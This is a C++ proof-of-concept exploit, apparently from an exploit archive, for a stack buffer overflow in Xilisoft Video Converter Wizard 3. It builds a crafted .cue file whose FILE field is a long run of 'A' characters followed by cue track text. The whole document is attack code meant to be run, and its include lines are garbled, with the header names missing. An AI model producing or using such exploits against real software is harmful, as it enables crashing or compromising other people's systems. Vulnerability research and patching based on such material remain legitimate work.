/* ---------------------------------------------------------------------------------------- Xilisoft Video Converter Wizard 3 .CUE File Stack Buffer Overflow POC name: xilisoft.cpp Credits : fl0 fl0w ---------------------------------------------------------------------------------------- ScreanShot in the debugger Link: http://www.downloadatoz.com/xilisoft-video-converter/wizard.html http://img23.imageshack.us/my.php?image=xilisoftvideoconverter.jpg ---------------------------------------------------------------------------------------- */ //Start #include #include #include #include #include #define SIZE 100000 #define FILE_FF " BINARY.. TRACK 01 MODE2/2352.. INDEX 01 00:00:00.." class EXPLOIT { public: int check (char *, char *); void Usage (char *); }; static int Poz = 1; static int Neg = 0; int i; char Name [SIZE]; char NeWbuff [SIZE]; int main (int argc, char *argv []) { EXPLOIT VIDEO; if ( argc < 2) VIDEO.Usage ( argv [0]); if ( VIDEO.check ( argv [1], "-file") == Neg) { fprintf ( stdout , " Incorect input "); printf ( " \t..Usage is %s -file filename.. \n", Name); exit ( 0); } do { NeWbuff [i] = 'A'; i++; }while (i < 500); FILE *f; strcpy (Name, argv [2]); strcat (Name, " .cue "); f = fopen (Name, "w"); assert ( f != NULL); strncpy ( NeWbuff + 500 , FILE_FF , strlen ( FILE_FF)); fputs("FILE \"", f); fprintf ( f, " %s ", NeWbuff); fprintf ( stdout , "File build ! "); exit ( 0); getchar (); return 0; } int EXPLOIT::check (char *Arg_, char *_Arg) { if ( strcmp ( Arg_, _Arg) == 0) return Poz; return Neg; } void EXPLOIT::Usage (char *Name) { system ("cls"); fprintf ( stdout , " \n..Xilisoft Video Converter Wizard 3 .CUE File Stack Buffer Overflow POC..\n "); printf ( " \t..Usage is %s -file filename.. \n", Name); fprintf ( stdout , "..All Credits fl0 fl0w.. \n"); } //EOF